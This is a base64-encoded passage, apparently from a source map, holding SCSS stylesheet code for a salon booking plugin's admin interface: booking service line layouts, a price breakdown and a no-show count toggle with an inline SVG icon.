dFx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdFx0XHRmb250LXdlaWdodDogYm9sZDtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0c3BhbiArIHNwYW4ge1xuXHRcdFx0XHRcdFx0Zm9udC13ZWlnaHQ6IGJvbGQ7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHRcdHNwYW46bnRoLWNoaWxkKDMpIHtcblx0XHRcdFx0XHRcdGdyaWQtY29sdW1uOiAzO1xuXHRcdFx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdFx0XHRmb250LXdlaWdodDogbm9ybWFsO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0XHQuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsblxuXHRcdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlXG5cdFx0XHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdFx0XHRcdFx0cGFkZGluZy1yaWdodDogMnJlbTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdFx0LnNsbi1ib29raW5nLXNlcnZpY2UtLWF0dGVuZGFudHMge1xuXHRcdFx0XHRncmlkLWNvbHVtbjogMztcblx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHRcdH1cblx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1hY3Rpb24ge1xuXHRcdFx0XHRncmlkLWNvbHVtbjogNDtcblx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0XHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdFx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdFx0XHRwYWRkaW5nLWxlZnQ6IDAuOHJlbTtcblx0XHRcdH1cblx0XHRcdCY6bm90KC5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmVfX2NvbnRlbnQtLXJlc291cmNlcyk6bm90KFxuXHRcdFx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmVfX2NvbnRlbnQtLWhpZ2hlbmRcblx0XHRcdFx0KSB7XG5cdFx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1pdGVtc2VsZWN0aW9uLFxuXHRcdFx0XHQuc2xuLWJvb2tpbmctc2VydmljZS0tYXR0ZW5kYW50cyB7XG5cdFx0XHRcdFx0cGFkZGluZy1ib3R0b206IDEuOGVtO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0XHQmLnNsbi1ib29raW5nLXNlcnZpY2UtbGluZV9fY29udGVudC0taGlnaGVuZDpub3QoXG5cdFx0XHRcdFx0LnNsbi1ib29raW5nLXNlcnZpY2UtbGluZV9fY29udGVudC0tcmVzb3VyY2VzXG5cdFx0XHRcdCksXG5cdFx0XHQmLnNsbi1ib29raW5nLXNlcnZpY2UtbGluZV9fY29udGVudC0tcmVzb3VyY2VzOm5vdChcblx0XHRcdFx0XHQuc2xuLWJvb2tpbmctc2VydmljZS1saW5lX19jb250ZW50LS1oaWdoZW5kXG5cdFx0XHRcdCkge1xuXHRcdFx0XHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDYwcHggMzAlIDM1JSBjYWxjKDM1JSAtIDhyZW0gLSA2MHB4KTtcblx0XHRcdFx0Z2FwOiAzcmVtIDJyZW07XG5cdFx0XHRcdHBhZGRpbmc6IDIuMnJlbSAxcmVtIDIuNnJlbSAxcmVtO1xuXHRcdFx0XHRtYXgtd2lkdGg6IDYwcmVtO1xuXHRcdFx0XHRib3JkZXItYm90dG9tOiBub25lO1xuXHRcdFx0XHRib3JkZXI6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuXHRcdFx0XHQuc2VsZWN0Mi1zZWxlY3Rpb24tLXNpbmdsZSxcblx0XHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSB7XG5cdFx0XHRcdFx0Ym9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudCB0cmFuc3BhcmVudFxuXHRcdFx0XHRcdFx0YWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCB0cmFuc3BhcmVudDtcblx0XHRcdFx0XHQmLnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUtd2FybmluZyB7XG5cdFx0XHRcdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50IHRyYW5zcGFyZW50XG5cdFx0XHRcdFx0XHRcdGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tYXR0ZW50aW9uKDAuNzUpXG5cdFx0XHRcdFx0XHRcdHRyYW5zcGFyZW50O1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHQvL2JvcmRlci13aWR0aDogMCAwIDFweCAwO1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmVfX2xhYmVsIHtcblx0XHRcdFx0XHRwYWRkaW5nOiAwIDFyZW07XG5cdFx0XHRcdH1cblx0XHRcdFx0LnNsbi1ib29raW5nLXNlcnZpY2UtLW1vdmUtbGluZSB7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDEgLyBzcGFuIDI7XG5cdFx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1hZG1pbl9udWNvbG9yLS1tYWluLS1saWdodChcblx0XHRcdFx0XHRcdDAuMjVcblx0XHRcdFx0XHQpO1xuXHRcdFx0XHRcdHRyYW5zaXRpb246IGFsbCAwLjE1cztcblx0XHRcdFx0XHRAbWVkaWEgKGhvdmVyOiBob3Zlcikge1xuXHRcdFx0XHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tbWFpbi0tbGlnaHQoXG5cdFx0XHRcdFx0XHRcdFx0MC41XG5cdFx0XHRcdFx0XHRcdCk7XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1zdGFydGVuZCB7XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDI7XG5cdFx0XHRcdFx0bGFiZWwudGltZSB7XG5cdFx0XHRcdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdFx0XHRcdGhlaWdodDogMi41cmVtO1xuXHRcdFx0XHRcdFx0bGluZS1oZWlnaHQ6IDIuNXJlbTtcblx0XHRcdFx0XHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0XHRcdFx0XHRwYWRkaW5nOiAwIDFyZW07XG5cdFx0XHRcdFx0XHRib3JkZXItYm90dG9tOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdFx0LnNsbi1ib29raW5nLXNlcnZpY2UtLWl0ZW1zZWxlY3Rpb24ge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAyIC8gc3BhbiAyO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1hdHRlbmRhbnRzIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMztcblx0XHRcdFx0XHRncmlkLXJvdzogMjtcblx0XHRcdFx0fVxuXHRcdFx0XHQuc2xuLWJvb2tpbmctc2VydmljZS0tYWN0aW9uIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogNDtcblx0XHRcdFx0XHRncmlkLXJvdzogMSAvIHNwYW4gMjtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdFx0Ji5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmVfX2NvbnRlbnQtLXJlc291cmNlczpub3QoXG5cdFx0XHRcdFx0LnNsbi1ib29raW5nLXNlcnZpY2UtbGluZV9fY29udGVudC0taGlnaGVuZFxuXHRcdFx0XHQpIHtcblx0XHRcdFx0LnNsbi1ib29raW5nLXNlcnZpY2UtLXJlc291cmNlcyB7XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDM7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDI7XG5cdFx0XHRcdH1cblx0XHRcdFx0LnNsbi1ib29raW5nLXNlcnZpY2UtLWF0dGVuZGFudHMge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAyO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0XHQmLnNsbi1ib29raW5nLXNlcnZpY2UtbGluZV9fY29udGVudC0taGlnaGVuZC5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmVfX2NvbnRlbnQtLXJlc291cmNlcyB7XG5cdFx0XHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogNDBweCAyMiUgMjQlIDI0JSBjYWxjKDMwJSAtIDZyZW0gLSA0MHB4KTtcblx0XHRcdFx0Z2FwOiAzcmVtIDEuNXJlbTtcblx0XHRcdFx0cGFkZGluZzogMi4ycmVtIDFyZW0gMi42cmVtIDFyZW07XG5cdFx0XHRcdG1heC13aWR0aDogNjByZW07XG5cdFx0XHRcdGJvcmRlci1ib3R0b206IG5vbmU7XG5cdFx0XHRcdGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0XHRcdC8vYmFja2dyb3VuZC1jb2xvcjogc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0ZXIoMC4zKTtcblx0XHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUsXG5cdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuXHRcdFx0XHRcdGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnRcblx0XHRcdFx0XHRcdGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRcdFx0Ji5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlLXdhcm5pbmcge1xuXHRcdFx0XHRcdFx0Ym9yZGVyLWNvbG9yOiAjZThhYTg3O1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHQvL2JvcmRlci13aWR0aDogMCAwIDFweCAwO1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmVfX2xhYmVsIHtcblx0XHRcdFx0XHRwYWRkaW5nOiAwIDFyZW07XG5cdFx0XHRcdH1cblx0XHRcdFx0LnNsbi1ib29raW5nLXNlcnZpY2UtLW1vdmUtbGluZSB7XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDE7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDEgLyBzcGFuIDI7XG5cdFx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1hZG1pbl9udWNvbG9yLS1tYWluLS1saWdodChcblx0XHRcdFx0XHRcdDAuMjVcblx0XHRcdFx0XHQpO1xuXHRcdFx0XHRcdHRyYW5zaXRpb246IGFsbCAwLjE1cztcblx0XHRcdFx0XHRAbWVkaWEgKGhvdmVyOiBob3Zlcikge1xuXHRcdFx0XHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tbWFpbi0tbGlnaHQoXG5cdFx0XHRcdFx0XHRcdFx0MC41XG5cdFx0XHRcdFx0XHRcdCk7XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1pdGVtc2VsZWN0aW9uIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMiAvIHNwYW4gMztcblx0XHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0fVxuXHRcdFx0XHQuc2xuLWJvb2tpbmctc2VydmljZS0tc3RhcnRlbmQge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAyO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0XHRcdGxhYmVsLnRpbWUge1xuXHRcdFx0XHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHRcdFx0XHRoZWlnaHQ6IDIuNXJlbTtcblx0XHRcdFx0XHRcdGxpbmUtaGVpZ2h0OiAyLjVyZW07XG5cdFx0XHRcdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdFx0XHRcdFx0cGFkZGluZzogMCAxcmVtO1xuXHRcdFx0XHRcdFx0Ym9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1yZXNvdXJjZXMge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiA0O1xuXHRcdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1hdHRlbmRhbnRzIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMztcblx0XHRcdFx0XHRncmlkLXJvdzogMjtcblx0XHRcdFx0fVxuXHRcdFx0XHQuc2xuLWJvb2tpbmctc2VydmljZS0tYWN0aW9uIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogNTtcblx0XHRcdFx0XHRncmlkLXJvdzogMSAvIHNwYW4gMjtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0fVxufVxuI3Nsbi1zYWxvbi0tYWRtaW4gI3Nsbl9ib29raW5nLWRldGFpbHMgI3Nsbl9ib29raW5nX3NlcnZpY2VzLm1vdmluZyB7XG5cdC5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmU6bm90KC5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmUtLW1vdmUpIHtcblx0XHRvcGFjaXR5OiAwLjM1O1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdC13ZWJraXQtdXNlci1zZWxlY3Q6IG5vbmU7XG5cdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdH1cblxuXHQuc2xuLWJvb2tpbmctc2VydmljZS1saW5lLnNsbi1ib29raW5nLXNlcnZpY2UtbGluZS0tbW92ZVxuXHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmVfX2NvbnRlbnRcblx0XHRkaXY6bm90KC5zbG4tYm9va2luZy1zZXJ2aWNlLS1tb3ZlLWxpbmUpIHtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHQtd2Via2l0LXVzZXItc2VsZWN0OiBub25lO1xuXHRcdHVzZXItc2VsZWN0OiBub25lO1xuXHR9XG59XG5cbi8vIEJvb2tpbmcgVG90YWwgQnJlYWtkb3duIERpc3BsYXlcbi5zbG4tYm9va2luZy1icmVha2Rvd24ge1xuXHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuXHRcblx0LnNsbi1ib29raW5nLWJyZWFrZG93bl9fY29udGVudCB7XG5cdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHRcdGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tZ3JleS0tbGlnaHQoMC4zKTtcblx0XHRib3JkZXI6IDFweCBzb2xpZCBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMC4yKTtcblx0XHRib3JkZXItcmFkaXVzOiA0cHg7XG5cdFx0XG5cdFx0LnNsbi1ib29raW5nLWJyZWFrZG93bl9fdGl0bGUge1xuXHRcdFx0bWFyZ2luOiAwIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KSAwO1xuXHRcdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuXHRcdFx0Zm9udC13ZWlnaHQ6IDYwMDtcblx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG5cdFx0fVxuXHRcdFxuXHRcdC5zbG4tYnJlYWtkb3duLWxpbmUge1xuXHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2Vlbjtcblx0XHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDhweCkgMDtcblx0XHRcdGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMC4xKTtcblx0XHRcdFxuXHRcdFx0JjpsYXN0LW9mLXR5cGUge1xuXHRcdFx0XHRib3JkZXItYm90dG9tOiBub25lO1xuXHRcdFx0fVxuXHRcdFx0XG5cdFx0XHQuc2xuLWJyZWFrZG93bi1sYWJlbCB7XG5cdFx0XHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNHB4KTtcblx0XHRcdFx0Y29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tdGV4dCgwLjg1KTtcblx0XHRcdH1cblx0XHRcdFxuXHRcdFx0LnNsbi1icmVha2Rvd24tdmFsdWUge1xuXHRcdFx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMTRweCk7XG5cdFx0XHRcdGZvbnQtd2VpZ2h0OiA1MDA7XG5cdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG5cdFx0XHR9XG5cdFx0XHRcblx0XHRcdCYuc2xuLWJyZWFrZG93bi1kaXNjb3VudCB7XG5cdFx0XHRcdC5zbG4tYnJlYWtkb3duLWxhYmVsLFxuXHRcdFx0XHQuc2xuLWJyZWFrZG93bi12YWx1ZSB7XG5cdFx0XHRcdFx0Y29sb3I6ICMyOGE3NDU7IC8vIEdyZWVuIGZvciBkaXNjb3VudFxuXHRcdFx0XHRcdGZvbnQtd2VpZ2h0OiA2MDA7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdFxuXHRcdFx0Ji5zbG4tYnJlYWtkb3duLXRvdGFsIHtcblx0XHRcdFx0bWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSg4cHgpO1xuXHRcdFx0XHRwYWRkaW5nLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcblx0XHRcdFx0Ym9yZGVyLXRvcDogMnB4IHNvbGlkIGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigwLjMpO1xuXHRcdFx0XHRib3JkZXItYm90dG9tOiBub25lO1xuXHRcdFx0XHRcblx0XHRcdFx0LnNsbi1icmVha2Rvd24tbGFiZWwsXG5cdFx0XHRcdC5zbG4tYnJlYWtkb3duLXZhbHVlIHtcblx0XHRcdFx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMTZweCk7XG5cdFx0XHRcdFx0Zm9udC13ZWlnaHQ6IDcwMDtcblx0XHRcdFx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG59XG4iLCIvLyBOby1TaG93IENvdW50IGFuZCBUb2dnbGUgU3R5bGVzIGZvciBCb29raW5nIE1ldGFib3hcbkB1c2UgJy4uL2NvbG9ycy1udSc7XG5AdXNlICcuLi9hZG1pbl9jb25maWcnO1xuXG4vLyBXcmFwcGVyIGZvciBuby1zaG93IHRyYWNraW5nIHNlY3Rpb25cbi5zbG4tbm9zaG93LXdyYXBwZXIge1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcbiAgICBtYXJnaW4tYm90dG9tOiAycmVtO1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICBjb2xvcjogcmdiKDAsIDUzLCA4Myk7XG4gICAgb3ZlcmZsb3c6IHZpc2libGUgIWltcG9ydGFudDtcbn1cblxuLy8gQ29udGFpbmVyIGZvciBjb3VudCBhbmQgdG9nZ2xlIC0gZGlzcGxheXMgaW5saW5lXG4uc2xuLW5vc2hvdyB7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBmbGV4LWRpcmVjdGlvbjogcm93O1xuICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAganVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xuICAgIGdhcDogMXJlbTtcbiAgICBtaW4taGVpZ2h0OiA1MiU7XG59XG5cbi8vIE5vLVNob3cgQ291bnQgRGlzcGxheSAtIG1hdGNoZXMgc2xuLWJvb2tpbmctY3VzdG9tZXItc2NvcmUtLXZhbHVlXG4uc2xuLW5vc2hvdy1jb3VudCB7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIHdpZHRoOiA1MCU7XG4gICAgaGVpZ2h0OiAxMDAlO1xuICAgIG1pbi1oZWlnaHQ6IDMuNXJlbTtcbiAgICBmb250LXNpemU6IDEuNzVyZW07XG4gICAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgICBjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS10ZXh0KDEpO1xuICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICBib3JkZXItcmFkaXVzOiA1cHg7XG4gICAgYmFja2dyb3VuZDogI0Y4RjlGQjtcblxuICAgIC5zbG4tbm9zaG93LWNvdW50X192YWx1ZSB7XG4gICAgICAgIGxpbmUtaGVpZ2h0OiAxO1xuICAgIH1cbn1cblxuLy8gTm8tU2hvdyBUb2dnbGUgQnV0dG9uIC0gbWF0Y2hlcyBjYWxlbmRhciB0b29sdGlwIGFjdGlvblxuLnNsbi1ub3Nob3ctdG9nZ2xlIHtcbiAgICBkaXNwbGF5OiBmbGV4O1xuICAgIGp1c3RpZnktY29udGVudDogZmxleC1zdGFydDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIHdpZHRoOiBhdXRvO1xuICAgIGhlaWdodDogMTAwJTtcbiAgICBib3JkZXItcmFkaXVzOiA1cHg7XG4gICAgcGFkZGluZzogMDtcbiAgICBvdmVyZmxvdzogdmlzaWJsZSAhaW1wb3J0YW50O1xuXG4gICAgLnNsbi1ub3Nob3ctdG9nZ2xlX19idXR0b24ge1xuICAgICAgICAvLyBNYXRjaCBleGFjdCBjYWxlbmRhciB0b29sdGlwIGFjdGlvbiBzdHlsaW5nXG4gICAgICAgIGRpc3BsYXk6IGlubGluZS1mbGV4O1xuICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICAgICAgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG4gICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDtcbiAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4ycyBlYXNlO1xuICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgICAgIGNvbG9yOiAjMjE3MUIxO1xuICAgICAgICBmb250LXNpemU6IDE0cHg7XG4gICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gICAgICAgIGJvcmRlcjogbm9uZTtcbiAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgcGFkZGluZzogMDtcbiAgICAgICAgbGluZS1oZWlnaHQ6IDE7XG5cbiAgICAgICAgaS5zbG4taWNvbi0tbm8tc2hvdyB7XG4gICAgICAgICAgICAvLyBNYXRjaCBleGFjdCBjYWxlbmRhciBpY29uIHNpemluZ1xuICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICAgICAgd2lkdGg6IDIuMjVyZW0gIWltcG9ydGFudDtcbiAgICAgICAgICAgIGhlaWdodDogMi4yNXJlbSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY3VycmVudENvbG9yICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAtd2Via2l0LW1hc2stc2l6ZTogMS43NXJlbSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgbWFzay1zaXplOiAxLjc1cmVtICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAtd2Via2l0LW1hc2stcmVwZWF0OiBuby1yZXBlYXQgIWltcG9ydGFudDtcbiAgICAgICAgICAgIG1hc2stcmVwZWF0OiBuby1yZXBlYXQgIWltcG9ydGFudDtcbiAgICAgICAgICAgIC13ZWJraXQtbWFzay1wb3NpdGlvbjogY2VudGVyICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICBtYXNrLXBvc2l0aW9uOiBjZW50ZXIgIWltcG9ydGFudDtcbiAgICAgICAgICAgIC8vIERFQlVHOiBUZW1wb3JhcnkgYm9yZGVyIHRvIHNlZSBhY3R1YWwgYm91bmRhcmllc1xuICAgICAgICAgICAgLy8gb3V0bGluZTogMXB4IGRhc2hlZCByZWQgIWltcG9ydGFudDtcbiAgICAgICAgICAgIC13ZWJraXQtbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB2aWV3Qm94PScwIDAgMzIgMzInIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00yMy43Nzc4IDE3LjI1QzIzLjc3NzggMTYuMzg4IDI0LjEwNTYgMTUuNTYxNCAyNC42ODkgMTQuOTUxOUMyNS4yNzI0IDE0LjM0MjQgMjYuMDYzOCAxNCAyNi44ODg5IDE0QzI3LjcxNCAxNCAyOC41MDUzIDE0LjM0MjQgMjkuMDg4OCAxNC45NTE5QzI5LjY3MjIgMTUuNTYxNCAzMCAxNi4zODggMzAgMTcuMjVWMjMuNzVNMjYuODg4OSAyN0g1LjExMTExQzQuMjg1OTkgMjcgMy40OTQ2NyAyNi42NTc2IDIuOTExMjIgMjYuMDQ4MUMyLjMyNzc4IDI1LjQzODYgMiAyNC42MTIgMiAyMy43NVYxNy4yNUMyIDE2LjM4OCAyLjMyNzc4IDE1LjU2MTQgMi45MTEyMiAxNC45NTE5QzMuNDk0NjcgMTQuMzQyNCA0LjI4NTk5IDE0IDUuMTExMTEgMTRDNS45MzYyMyAxNCA2LjcyNzU1IDE0LjM0MjQgNy4zMTEgMTQuOTUxOUM3Ljg5NDQ1IDE1LjU2MTQgOC4yMjIyMiAxNi4zODggOC4yMjIyMiAxNy4yNVYyMC41SDIwLjcyMjcnIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMycgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0NwYXRoIGQ9J001IDE0VjYuNTAwMDFDNC45OTk0NyA2LjA0NzQzIDUuMDcwNDUgNS41OTczNyA1LjIxMDU3IDUuMTY1MDFNOC4zMzMgMi4xOTUwMUM4Ljc4MDc0IDIuMDY0OTIgOS4yNDYyNyAxLjk5OTIgOS43MTQyOSAyLjAwMDAxSDIyLjI4NTdDMjMuNTM2IDIuMDAwMDEgMjQuNzM1MSAyLjQ3NDExIDI1LjYxOTIgMy4zMTgwM0MyNi41MDMzIDQuMTYxOTQgMjcgNS4zMDY1MyAyNyA2LjUwMDAxVjE0JyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzMnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDcGF0aCBkPSdNNyAyN1YzMCcgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSczJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQ3BhdGggZD0nTTI1IDI3VjMwJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzMnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDcGF0aCBkPSdNMiAyTDMwIDMwJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzMnIHN0cm9rZS1saW5lY2FwPSdyb3V